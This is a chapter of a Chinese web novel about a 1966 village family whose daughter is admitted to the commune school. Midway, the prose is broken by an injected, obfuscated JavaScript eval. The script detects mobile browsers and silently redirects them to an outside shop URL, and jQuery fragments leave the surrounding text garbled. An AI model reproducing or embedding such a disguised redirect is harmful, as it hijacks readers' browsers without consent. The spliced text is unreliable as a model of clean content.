信来了。
那天下午，林晨正在南坡锄地。太阳毒辣辣的，晒得后背发烫。玉米苗已经比人高了，叶子宽大，在风里摇，哗啦哗啦响。他锄完一垄，直起腰，擦了把汗，看见一个人从坡下走上来。
是邮递员。骑着一辆绿色的自行车，车后座上挂着一个帆布包，鼓鼓囊囊的。他把自行车停在坡下，拿着一个信封，朝林晨招手。
“林晨！你家信！”
林晨放下锄头，从地里出来。鞋上沾着泥巴，踩在草上，一步一个湿印。他从邮递员手里接过信，看了一眼，是公社小学寄来的。信封上印着“录取通知书”几个字，红色的，醒目。
“谢谢。”
邮递员骑上车走了。
林晨攥着信封，手指有点抖。他没拆，扛起锄头，往家走。步子比平时快，锄头在肩上颠，一下一下的。
李叔在地那头喊他：“晨儿，还没收工呢！”
“不锄了。”
李叔没再问。
院门口，念念正蹲在地上画圈。她看见林晨，站起来，跑过来。
“哥，你手里拿的啥？”
“信。”
“谁的信？”
“姐的。”林晨走进灶房，“妈，信来了。”
母亲正在切菜，手上的刀停了一下。她转过身，在围裙上擦了擦手。熙熙从屋里出来，手里拿着那本周老师送的课本，还没放下。
“谁的信？”熙熙问。
“你的。”林晨把信封递过去。
熙熙接过信，看了一眼，没拆。
念念跑过来，踮着脚尖，想看又够不着。
“姐，拆开看看。”
熙熙拿着信，站了一会儿，手有点抖。她深吸一口气，撕开封口，抽出里面的纸。纸上印着几行字，她从头看到尾，又从尾看到头。
“姐，写的啥？”念念急了。
熙熙没说话，把纸递给林晨。
林晨接过来，念出声。
“林熙熙同学，经公社小学招生考试，你已被录取为我校一年级新生。请于1966年5月20日到校报到。特此通知。”
念完了，灶房里安静了一瞬。
念念第一个反应过来：“姐，你考上了！”
熙熙没说话，眼泪掉下来了。她低着头，手里攥着那封信，手指使劲，纸都皱了。
母亲走过来，拿过那封信，看了一遍。她的手指在纸上摩挲着，像在摸一件贵重的东西。
“妈，姐考上了。”念念拉着母亲的衣角。
母亲把信放下，转身去灶台。她端起水瓢，想舀水，手抖得厉害，水洒了一地。她放下水瓢，在围裙上擦了擦手，又擦了一下眼睛。
“妈，你哭了？”念念问。
“烟熏的。”
灶膛里没有火。
念念没戳穿。她跑过去，抱住熙熙的腿。
“姐，你考上了！你考上了！”
熙熙蹲下来，抱住念念，脸埋在她肩膀上，哭出了声。
林晨站在灶房门口，喉咙发紧，眼眶跟着泛红。他看着熙熙哭，看着母亲背过身去擦眼睛，看着念念搂着熙熙的脖子，嘴里念叨着“姐不哭姐不哭”。
他从口袋里摸出那枚玉佩，攥在手心。温热的，沉甸甸的。
前世熙熙没上过学。她十四岁那年冬天，病死在炕上。临死前，她跟母亲说：“妈，我想念书。”
母亲哭着说：“等开春，等开春让你去。”
没等到开春。
林晨把玉佩塞回领口，拍了拍手。
“哭啥？考上了好事。”他走过去，把熙熙拉起来，“别哭了，一会儿眼睛肿了。”
熙熙擦了擦眼泪，笑了。笑着笑着，又哭了。
念念拉着她的手，往灶房外面走。
“姐，你来看，我画了画。”
院子里，地上画了一幅画。一个大的圈，旁边几个小的圈。
“这是啥？”熙熙抽噎着问。
“这是你。”念念指着大圈，“这是妈，这是哥，这是念念。”
“我呢？”
“你就是你。”念念指着大圈，“你最大。”
熙熙看着地上那幅歪歪扭扭的画，眼泪又掉下来了。这次没哭出声，眼泪顺着脸颊往下淌，一滴一滴掉在地上。
念念蹲下来，用小棍子在大圈旁边画了几个小点。
“这是啥？”熙熙问。
“兔子。”念念说，“你不是说，等信的时候心里有兔子吗？现在信来了，兔子不跳了。它在睡觉。”
熙熙蹲下来，把念念抱进怀里。
太阳西斜了，天边一片红。老榆树的影子拉得长长的，从院门口一直延伸到院子里。鸡崽在窝里叽叽叫，母亲从灶房出来，端着一盆水，泼在院子里。水溅在地上，湿了一片。
“妈，晚上做啥？”念念跑过去。
“做面条。”
“真的？”
“真的。”
念念跑回熙熙旁边，拉着她的手：“姐，妈做面条。”
熙熙笑了，眼睛红红的，鼻头红红的。
晚上，母亲真的做了面条。白面掺了玉米面，擀成薄片，切成条。锅里水开了，面条下进去，翻滚着，冒着热气。她从碗柜里拿出一个小罐子，里面装着猪油，舀了一勺，放在碗底。
面条捞出来，浇上面汤，猪油化开了，油花浮在汤面上，亮晶晶的。
念念端着碗，吹了吹，喝了一口汤，眯起眼。
“好喝。”
熙熙坐在她旁边，吃了一口面条，没咽下去，停了一下。
“咋了？”林晨问。
“好吃。”熙熙说了一句，低头继续吃。
母亲坐在灶台边上，端着碗，没吃。她看着熙熙吃面条，嘴角动了一下，像是想说什么，又没说。
“妈，你咋不吃？”念念问。
“不饿。”
念念把自己碗里的面条夹了一根，放进母亲碗里。
“你吃。”
母亲低头，把那根面条吃了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508803|202911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>吃完饭，熙熙把录取通知书拿出来，又看了一遍。纸上那几行字，她背都背下来了，但她还要看。
“妈，20号报到。”
“还有二十来天。”
“嗯。”
母亲把信收好，放进炕上的小木匣里。木匣子是父亲留下的，里面装着烈士证、几张旧照片、二叔的信。
念念趴在炕沿上，看着母亲把信放进去，问：“妈，以后姐的信都放这儿？”
“嗯。”
“那我的信以后也放这儿。”
母亲笑了：“你还没上学呢。”
“快了。”念念说，“姐当老师，教我。”
熙熙摸了摸她的头。
夜深了，全家都睡了。
林晨进了一趟空间。白菜收完了，地空出来了。他翻了地，撒了一把菠菜种子。菠菜长得快，一个月就能吃。
萝卜又长了一截，手指粗了，白生生的，顶出土来。他拔了一根，在衣服上擦了擦，咬了一口。脆，甜。
他走到井边，喝了三捧水，灌了竹筒，出来，兑进水壶。
躺在炕上，念念的手又搭过来了。她今天睡得安稳，没翻来翻去。小手攥着林晨的袖子，呼吸匀匀的。
林晨侧过头，看着念念的脸。月光从窗纸透进来，照在她脸上，薄薄的，像一层霜。
他想起熙熙哭的时候，念念说“兔子在睡觉”。
兔子睡着了。
熙熙考上了。
他闭上眼。
明天，还要下地。后天，还要下地。但日子，会一天比一天好。
窗外，风吹着老榆树的叶子，沙沙响。
东屋里，爷爷打了两声呼噜。奶奶说了句什么，听不清。
然后一切安静了。
林晨听着念念的呼吸声，慢慢睡着了。
第二天一早，念念起来第一件事，就是跑到东屋，趴在炕沿上，看着熙熙。
“姐，你昨晚做梦了没？”
熙熙睁开眼：“啥梦？”
“我梦见你当老师了。”念念说，“站在讲台上，手里拿着书，好多人看着你。”
熙熙笑了：“你呢？你在哪？”
“我坐在下面。”念念比划了一下，“坐在第一排。”
“你听课了没？”
“听了。但是我听不懂。”
熙熙笑出声来。
念念爬到炕上，钻进熙熙的被窝，把头靠在她肩膀上。
“姐，你别走了。”
“还没走呢。”
“快了。”念念说，“还有二十来天。”
熙熙搂着她，没说话。
林晨站在门口，看着她们。念念的小脑袋靠在熙熙肩膀上，头发翘着，乱糟糟的。
他转过身，去灶房生火。
锅里的水烧开了，咕嘟咕嘟冒泡。他舀了一碗，端到院子里，泼在地上。水渗进土里，滋的一声。
太阳从东边升起来了，照在院墙上，黄灿灿的。
新的一天开始了。